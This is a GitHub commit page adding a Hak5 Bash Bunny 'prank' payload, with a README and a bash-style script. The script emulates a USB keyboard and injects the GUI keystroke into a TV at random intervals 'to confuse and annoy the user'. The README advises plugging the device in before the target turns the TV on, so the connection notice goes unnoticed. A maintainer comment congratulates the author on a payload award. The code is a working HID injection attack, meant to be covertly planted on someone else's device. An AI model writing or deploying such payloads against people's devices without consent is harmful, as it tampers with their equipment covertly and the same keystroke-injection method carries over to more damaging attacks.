Skip to content

Commit

Permalink
Add TV-Menu-Trigger
Browse files Browse the repository at this point in the history
This payload opens the main menu of a TV repeatedly at a random interval (1-10 minutes) to confuse and annoy the user.
  • Loading branch information
90N45-d3v authored Nov 19, 2023
1 parent 98bfe07 commit f2eb8d8
Show file tree
Hide file tree
Showing 2 changed files with 56 additions and 0 deletions.
21 changes: 21 additions & 0 deletions payloads/library/prank/TV-Menu-Trigger/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# TV-Menu-Trigger
* Author: 90N45
* Version: 1.0
* Target: TV
* Attackmodes: HID

### Description
This payload opens the main menu of a TV repeatedly at a random interval (1-10 minutes) to confuse and annoy the user.

### Explanation
Almost every TV has the function of being used by a connected USB keyboard. Therefore, we can use the Bash Bunny to emulate a keyboard and inject keystrokes into the TV. In this case, we inject the keycode for the `GUI` key to open the TV's menu (equivalent to the MENU button on your traditional remote control). Of course, the key required to open the menu could change, because of different vendors, but the keycode of the `GUI` key seems to work for most TVs.

### Tip
Plug your Bash Bunny into a USB port of the TV before it is switched on by your target. This makes it easier to overlook the possible message of a connected keyboard (especially with webOS/LG TVs, as the message is very small on these models and is displayed for a short time).

### Status
| LED | State |
| --- | --- |
| Magenta solid (SETUP) | Set ATTACKMODE and configure CPU performance |
| Green 1000ms VERYFAST blink followed by SOLID (FINISH) | Attacking the TV (Currently waiting for the random interval to complete) |
| Red 1000ms | Opening the TV’s menu |
35 changes: 35 additions & 0 deletions payloads/library/prank/TV-Menu-Trigger/payload.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
#!/bin/bash
#
# Title: TV-Menu-Trigger
# Description: This payload opens the main menu of a TV repeatedly at a random interval (1-10 minutes) to confuse and annoy the user.
# Author: 90N45
# Version: 1.0
# Category: Prank
# Attackmodes: HID

LED SETUP

ATTACKMODE HID

# Tune the Bash Bunny's CPU to low power/performance for long term deployments
CUCUMBER ENABLE

LED FINISHED

while [[ true ]]; do
LED G
# Generate interval time
rand=$((6 + $RANDOM % 60))
interval="$rand"0000

# Wait given interval time
Q DELAY ${interval}

# LED feedback on HID injection
LED R

# Open menu
Q GUI

Q DELAY 1000
done

1 comment on commit f2eb8d8

@hak5peaks
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@90N45-d3v

🥳 Congratulations! Your payload won a Hak5 Payload Award!
🎁 Please accept your reward from https://rewards.hak5.org
🎉 And find all of the winners from https://hak5.org/duckees
🏆 Cheers to an incredible year, and here's to the next!
—Hak5

Please sign in to comment.